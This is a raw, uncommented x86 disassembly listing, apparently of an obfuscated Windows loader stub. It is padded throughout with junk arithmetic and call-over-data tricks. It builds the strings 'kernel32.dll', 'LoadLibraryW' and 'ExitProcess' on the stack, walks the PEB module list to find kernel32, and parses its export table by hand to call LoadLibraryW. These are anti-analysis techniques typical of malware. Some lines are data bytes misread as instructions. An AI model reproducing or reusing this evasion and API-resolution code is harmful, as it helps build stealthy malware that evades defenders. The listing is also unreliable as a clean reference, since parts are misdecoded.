sub esi, 0x9c44
pop esi
push esi
add esi, 0xc6f2
pop esi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x405029
jmp 0x404d36
push eax
push edi
add esp, 4
and eax, 0xd4ba
and eax, 0x11951
xor eax, 0x5611
pop eax
push esi
push edi
add esp, 4
or esi, 0x600a
add esi, 0xe836
pop esi
push edx
add edx, 0x11536
pop edx
mov dword [ebp - 0x3cc], 0
push edx
push edx
add esp, 4
sub edx, 0x13005
xor edx, 0xf84d
pop edx
push edi
sub edi, 0x111de
pop edi
push esi
and esi, 0x180c0
pop esi
push ebx
sub ebx, 0x1593d
pop ebx
push edi
and edi, 0x1388c
pop edi
push edi
or edi, 0x338b
or edi, 0x5fb
pop edi
push esi
push esi
add esp, 4
call 0x40507a
add byte [edx], dh
push eax
dec esp
xor eax, dword ss:[ecx - 0x7d]
les eax, [ecx + eax*4]
mov byte [eax - 0x63], 0
add bl, ch
pop es
cmp al, 0x32
inc ecx
push eax
dec edi
dec ebx
cmp dword [esi - 0x47], ebx
add dword [eax], eax
add byte [eax], al
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edi
push ebx
add esp, 4
add edi, 0x1216d
pop edi
push edx
push esi
add esp, 4
sub edx, 0x977a
and edx, 0xb2a9
pop edx
push eax
sub eax, 0xf2b2
xor eax, 0x13af5
xor eax, 0x12466
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push eax
push esi
add esp, 4
sub eax, 0x732
sub eax, 0x4878
sub eax, 0x28a7
pop eax
push esi
or esi, 0x8b46
xor esi, 0x183a6
add esi, 0x1046a
add esi, 0x14418
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x40512d
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
push esi
add esp, 4
xor esi, 0xd448
pop esi
push ecx
push edi
add esp, 4
jmp 0x405146
jmp 0x40514e
call 0x40515b
add byte [esi + 0x42], al
xor al, byte [edi + 0x44]
cmp eax, dword [ebx + eax*4 - 0x3c]
add al, 0x59
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4051a7
push esi
jmp 0x405177
and esi, 0x10b96
add esi, 0x12111
jmp 0x405188
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x18567
xor eax, 0xa94f
pop eax
push esi
jmp 0x4051a1
pop esi
jmp 0x4053d5
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
or edx, 0x112ec
jmp 0x4051cb
and edx, 0xcfd
xor edx, 0x49c1
pop edx
push ecx
jmp 0x4051e0
pop ecx
push edi
sub edi, 0x14953
jmp 0x4051ee
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x405256
push eax
xor eax, 0xee92
pop eax
push ebx
sub ebx, 0x17fc3
pop ebx
push ebx
jmp 0x405229
xor ebx, 0xf2b4
xor ebx, 0x6e77
call 0x405241
add byte [ebx + edi + 0x43], al
inc esi
xor eax, dword [ebx - 0x7d]
les eax, [ebx + ebx*2]
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x405387
cmp dword [ebp - 0xc10], 0
jle 0x40537b
push edi
push ecx
add esp, 4
call 0x405276
add byte [edi + 0x37], cl
dec ebp
dec ecx
cmp byte [edx], bh
cmp al, 0x4a
add esp, 4
add edi, 0x7d
call 0x40528b
add byte [esi], dh
push eax
push eax
cmp eax, 0xc4834e3a
add al, 0x81
mul edx
popfd
add byte [eax], al
pop edi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x405317
push ecx
sub ecx, 0x36e0
pop ecx
push esi
or esi, 0x147a9
jmp 0x4052c2
pop esi
push ebx
push edi
add esp, 4
and ebx, 0x11260
add ebx, 0x13d60
jmp 0x4052dc
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4052ff
mov dword [ebp - 0x14cc], 1
jmp 0x405309
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x40537b
push edx
push edi
add esp, 4
call 0x40532b
add byte [0x333a4338], bh
xor al, 0x48
cmp al, 0x39
add esp, 4
xor edx, 0x50be
and edx, 0x12702
sub edx, 0xe04
pop edx
push esi
xor esi, 0xd26
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x405256
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4053d0
push ecx
push ebx
add esp, 4
xor ecx, 0xd328
jmp 0x4053a3
pop ecx
push edx
push ebx
add esp, 4
xor edx, 0x12eb6
sub edx, 0x6dc1
pop edx
push esi
push ebx
add esp, 4
and esi, 0x167cf
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x405411
jmp 0x40511e
push esi
and esi, 0x11081
sub esi, 0xf6b7
xor esi, 0x146ba
pop esi
push esi
push edi
add esp, 4
xor esi, 0x170cb
add esi, 0xfd98
and esi, 0x62c5
and esi, 0x79a5
pop esi
mov dword [ebp - 0xa5c], 0
push ecx
sub ecx, 0xf841
pop ecx
push esi
jmp 0x405423
add esi, 0xa9f2
pop esi
push ebx
push esi
add esp, 4
jmp 0x405434
xor ebx, 0x12dbf
pop ebx
push esi
or esi, 0x10670
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
push ebx
add esp, 4
add ecx, 0xe136
xor ecx, 0xdfe7
pop ecx
push edx
and edx, 0x69bd
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x11633
xor edi, 0x175ef
or edi, 0xbfc6
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
add edi, 0xa396
pop edi
push ebx
push ebx
add esp, 4
call 0x40557e
add byte [eax + 0x3d], dl
dec eax
xor al, byte [esi + 0x36]
xor al, byte [eax + 0x40]
add esp, 4
add ebx, 0x12423
and ebx, 0x12332
or ebx, 0x3495
pop ebx
push eax
and eax, 0x168d0
and eax, 0x18359
add eax, 0xf301
xor eax, 0x1065
pop eax
push edi
push edx
add esp, 4
xor edi, 0x8ade
xor edi, 0x19fc
sub edi, 0xe31
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
add ecx, 0x1312
or ecx, 0xd606
add ecx, 0x8617
and ecx, 0x559a
pop ecx
push edi
push eax
add esp, 4
sub edi, 0xd252
and edi, 0xcdfe
or edi, 0x108b
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x405638
mov dword [ebp - 0x2e0], 0
jmp 0x4058f4
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push ecx
add esp, 4
or edx, 0x79ab
sub edx, 0x10050
or edx, 0x14e0d
pop edx
push edi
call 0x405672
add byte [ebx + edi], bh
aas
inc ebx
xor al, 0x33
dec ebx
aaa
cmp byte [ebx - 0x107efb3c], al
fisttp word [ebx]
add dword [eax], eax
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x405694
mov dword [ebp - 0x2e0], 0
jmp 0x4058f4
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push ecx
add esp, 4
jmp 0x4056ab
or eax, 0x17656
pop eax
push edi
push edx
add esp, 4
xor edi, 0x17201
pop edi
push eax
add eax, 0x61b
sub eax, 0x45a7
sub eax, 0x396d
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edx
push ecx
add esp, 4
or edx, 0x1511e
jmp 0x405710
sub edx, 0x2cac
or edx, 0x160a2
pop edx
push esi
push ecx
add esp, 4
jmp 0x40572a
and esi, 0x181d2
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
push edx
add esp, 4
add ebx, 0x8b5a
pop ebx
push edi
xor edi, 0xe58e
sub edi, 0x16928
jmp 0x4057a9
pop edi
push edx
jmp 0x4057b0
add edx, 0x8e72
sub edx, 0x26da
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4057e0
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x405843
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4056ff
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4056ff
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x40582d
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x405837
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x40588c
push esi
push edi
add esp, 4
jmp 0x405857
pop esi
push edx
jmp 0x40585e
jmp 0x405863
pop edx
push eax
xor eax, 0x54d8
xor eax, 0x17b8a
pop eax
push eax
push edi
add esp, 4
and eax, 0x14699
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4058f4
push edi
or edi, 0x4937
or edi, 0x18a5
sub edi, 0xbb4
or edi, 0x1785c
pop edi
push edi
push ebx
add esp, 4
and edi, 0x365a
sub edi, 0x13fbd
or edi, 0x6389
pop edi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4058ea
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4056a0
mov dword [ebp - 0x2e0], 0
push ebx
and ebx, 0xeae5
pop ebx
push ebx
or ebx, 0x1661
xor ebx, 0x5e3
pop ebx
push ecx
and ecx, 0xec5a
pop ecx
push edx
jmp 0x405919
sub edx, 0x2b57
sub edx, 0x116ff
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x40623f
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
call 0x4059dc
add byte [edx], dh
inc edx
dec esp
dec eax
inc edi
aas
xor al, 0x4c
cmp eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x34], cl
cmp edi, dword [ebx]
inc ebx
xor edi, dword [ebx]
cmp ecx, dword [eax - 0x7d]
les eax, [esi + ebx*2]
push ebx
push edx
add esp, 4
or ebx, 0x139fd
pop ebx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push eax
add esp, 4
sub ebx, 0x10a21
or ebx, 0x4a51
pop ebx
push ebx
push ebx
add esp, 4
and ebx, 0x17dcd
and ebx, 0x149aa
pop ebx
push esi
xor esi, 0x731a
add esi, 0x1713a
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x405aca
mov dword [ebp - 0x6ec], 0
jmp 0x405d86
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
call 0x405aeb
add byte [edi + 0x42], al
dec edi
inc esp
xor dl, byte [eax + 0x34]
inc ebx
add esp, 4
or esi, 0x505d
pop esi
push esi
push esi
add esp, 4
jmp 0x405b01
sub esi, 0x134e3
sub esi, 0x14939
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x405b26
mov dword [ebp - 0x6ec], 0
jmp 0x405d86
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push ecx
add esp, 4
xor ebx, 0x85d2
pop ebx
push esi
or esi, 0x4440
or esi, 0x1e17
pop esi
push eax
push eax
add esp, 4
xor eax, 0x143fa
pop eax
push ecx
push eax
add esp, 4
add ecx, 0x1112
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
push edi
add esp, 4
sub edx, 0x8c66
xor edx, 0xe202
and edx, 0x17aec
pop edx
push ecx
add ecx, 0xecf
sub ecx, 0x15536
and ecx, 0x16277
xor ecx, 0x15c35
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
and esi, 0xe96c
and esi, 0xa9a8
add esi, 0x8861
and esi, 0x12bae
pop esi
push eax
push edi
add esp, 4
xor eax, 0xd07d
xor eax, 0x447
sub eax, 0x520b
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x405c72
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x405cd5
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x405b91
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x405b91
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x405cbf
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x405cc9
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x405d1e
push edi
push edi
add esp, 4
xor edi, 0x11f5b
pop edi
push edi
xor edi, 0x1aa1
sub edi, 0xcc75
call 0x405d06
add byte [edi + 0x44], cl
dec esi
cmp dword [eax + 0x4d], edx
xor ecx, dword [eax + 0x40]
add esp, 4
sub edi, 0xe688
pop edi
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x405d86
push edi
push edi
add esp, 4
jmp 0x405d2b
or edi, 0x673
xor edi, 0xf1eb
jmp 0x405d40
pop edi
push edx
jmp 0x405d49
sub edx, 0xc777
pop edx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x405d7c
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x405b32
mov dword [ebp - 0x6ec], 0
push eax
push esi
add esp, 4
jmp 0x405d93
or eax, 0x81a
xor eax, 0x111e8
pop eax
push edx
and edx, 0x4679
jmp 0x405daf
pop edx
push eax
xor eax, 0x2bf4
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x405e02
push esi
or esi, 0x4165
pop esi
push ebx
push ebx
add esp, 4
or ebx, 0x13d5c
and ebx, 0x10b1f
xor ebx, 0xfa6d
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0x178b1
sub eax, 0x7b47
pop eax
mov dword [ebp - 0x738], 0
jmp 0x406929
push ebx
or ebx, 0xcb15
jmp 0x405e0f
pop ebx
push esi
and esi, 0x10c59
and esi, 0x1783b
and esi, 0x932e
call 0x405e30
add byte [ecx + 0x33], cl
dec ebx
inc edx
xor bh, byte [edx]
dec eax
add esp, 4
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405e73
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x406164
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405e9b
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x406164
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405ecd
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x406164
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405ef2
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x406164
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405f4c
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x406158
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405fbc
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x40606e
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x40606e
push ecx
push ecx
add esp, 4
xor ecx, 0x17d53
or ecx, 0x1447e
xor ecx, 0x8338
and ecx, 0x17578
pop ecx
push esi
push edi
add esp, 4
xor esi, 0xf9a2
pop esi
push ebx
add byte [esi + 0x53], bl
add ebx, 0x17b9b
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x406060
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x406067
jmp 0x405fad
jmp 0x40606e
push ecx
call 0x40607c
add byte [edi + 0x4e], cl
aas
inc esi
xor al, 0x34
cmp byte [ebx - 0x167efb3c], al
jb 0x406011
add byte [eax], al
sub ecx, 0xc7da
pop ecx
push eax
xor eax, 0xaea3
sub eax, 0xc231
and eax, 0x124ce
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x4060cd
mov dword [ebp - 0xc30], 0
jmp 0x40613c
push ebx
add ebx, 0x10b6e
or ebx, 0xaff2
or ebx, 0xd9f1
pop ebx
push eax
push ecx
add esp, 4
add eax, 0xb49
pop eax
push ebx
call 0x4060fb
add byte [ecx + 0x44], cl
cmp al, 0x3d
dec esp
inc esp
dec ebx
add esp, 4
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x406132
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x40613c
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x406153
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x406164
jmp 0x405f3d
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x40623f
push eax
push edi
add esp, 4
sub eax, 0x6bd5
and eax, 0x1730f
or eax, 0xc40a
jmp 0x40618e
pop eax
push edi
or edi, 0x8ba9
add edi, 0xf24e
add edi, 0x1061
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
sub esi, 0x10457
or esi, 0x11660
jmp 0x4061c2
xor esi, 0x2b04
pop esi
push ebx
add ebx, 0x62b7
jmp 0x4061d8
pop ebx
push ebx
add ebx, 0xe63d
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x40623f
push ecx
push eax
add esp, 4
jmp 0x40620b
xor ecx, 0x213f
pop ecx
push ecx
push esi
add esp, 4
jmp 0x40621f
jmp 0x406227
pop ecx
push edx
or edx, 0xf498
pop edx
mov dword [ebp - 0x738], 0
jmp 0x406929
push ebx
jmp 0x406246
or ebx, 0xdd5
pop ebx
push ecx
call 0x40625e
add byte [esp + esi], bh
xor bh, byte [ebx + ecx*2]
xor al, 0x4b
aas
cmp edi, dword [ecx]
add esp, 4
sub ecx, 0x13445
jmp 0x406270
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
jmp 0x4062a0
pop ecx
push ecx
add ecx, 0x1523c
xor ecx, 0xc062
pop ecx
push eax
sub eax, 0x10753
jmp 0x4062bd
pop eax
push edi
push edi
add esp, 4
add edi, 0x5953
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x4062e2
mov dword [ebp - 0x2e0], 0
jmp 0x406589
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
push edi
add esp, 4
jmp 0x4062fe
and ecx, 0xe858
add ecx, 0xc4e2
jmp 0x406313
pop ecx
push esi
push ecx
add esp, 4
or esi, 0x681b
or esi, 0xc95b
pop esi
cmp dword [ebp - 0xc3c], 0
jne 0x40633e
mov dword [ebp - 0x2e0], 0
jmp 0x406589
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
push edx
add esp, 4
xor ecx, 0x1740a
add ecx, 0xff77
and ecx, 0x5cb
add ecx, 0x6833
pop ecx
push ecx
add ecx, 0x8248
or ecx, 0x10ba1
or ecx, 0xb60a
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
and ecx, 0x3b69
pop ecx
push esi
push esi
add esp, 4
and esi, 0x5f7f
pop esi
push edi
push esi
add esp, 4
or edi, 0x3541
and edi, 0x76cb
and edi, 0x50f9
or edi, 0xec96
pop edi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edi
push ecx
add esp, 4
xor edi, 0x177e1
sub edi, 0x110cf
sub edi, 0xa576
pop edi
push ebx
add ebx, 0x597
and ebx, 0x14b4b
and ebx, 0xb6a0
jmp 0x406460
pop ebx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x40647e
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4064d8
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4063a6
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4063a6
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4064c2
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4064cc
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x406521
push edx
or edx, 0x9c8a
or edx, 0x1260e
sub edx, 0x2150
pop edx
push eax
push ebx
add esp, 4
and eax, 0x44cf
jmp 0x406506
pop eax
push edi
push ebx
add esp, 4
xor edi, 0xdda5
pop edi
mov ecx, dword [ebp - 0x4dc]
